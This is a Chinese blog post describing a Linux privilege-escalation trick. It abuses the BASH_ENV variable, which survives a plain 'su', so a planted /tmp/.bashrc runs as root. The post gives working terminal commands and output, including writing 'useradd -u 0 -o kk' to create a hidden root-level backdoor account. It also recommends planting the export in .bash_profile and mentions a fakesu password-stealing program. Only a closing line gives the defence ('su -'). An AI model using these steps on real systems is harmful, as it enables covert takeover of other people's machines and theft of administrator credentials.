linux提权用的一个技巧

    作者:xi4oyu
    一个test:

    [xiaoyu@localdomain ~]$ echo $BASH_ENV

    [xiaoyu@localdomain ~]$ export BASH_ENV=”/tmp/.bashrc”
    [xiaoyu@localdomain ~]$ echo $BASH_ENV
    /tmp/.bashrc

    [xiaoyu@localdomain ~]$ cat /tmp/.bashrc
    #!/bin/bash
    echo “Hello”

    [xiaoyu@localdomain ~]$ ls -l
    -rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh

    [xiaoyu@localdomain ~]$ cat test.sh
    #!/bin/bash
    echo “kk”

    [xiaoyu@localdomain ~]$ ./test.sh
    Hello
    kk

    恩,很好,和我们预期的一样。看看我们怎么利用。

    grep su ~/.bash_history

    显示此用户有使用su登录root账户的特殊癖好。 以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别名之类的东西。通过getpass来获得root 密码,记录,然后去除别名…..关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻点的管理员可能就放过这个细节了,再输入一遍密码 就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改 root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不

    [xiaoyu@localdomain ~]$ echo $BASH_ENV
    /tmp/.bashrc
    [xiaoyu@localdomain ~]$ su
    Password:
    [root@localdomain xiaoyu]# echo $BASH_ENV
    /tmp/.bashrc
    啊哦,还在,OK,实验结束,实战:

    [xiaoyu@localdomain tmp]$ echo ‘/usr/sbin/useradd -u 0 -o kk 2> /dev/null’ > /tmp/.bashrc
    [xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
    /usr/sbin/useradd -u 0 -o kk 2> /dev/null
    [xiaoyu@localdomain tmp]$ grep kk /etc/passwd
    [xiaoyu@localdomain tmp]$ echo $BASH_ENV
    /tmp/.bashrc
    [xiaoyu@localdomain tmp]$ su
    Password:
    [root@localdomain tmp]# cd /home/xiaoyu
    [root@localdomain xiaoyu]# ./test.sh
    kk
    [root@localdomain xiaoyu]# grep kk /etc/passwd
    kk:x:0:503::/home/kk:/bin/bash
    [root@localdomain xiaoyu]#

    呵呵,改密码的语句我没加进去哦。自己想,呵呵,偶不知道,偶不知道

    恩,关于怎么安置,和fakesu一样,在.bash_profile等地方export BASH_ENV变量…

    如果要避免这种情况,使用su -登录root,估计没几个管理员记得这个指令吧..汗…

    以后会慢慢放出一些小技巧,很多东西窝着窝着,自己都忘了…囧!

发表评论

发表评论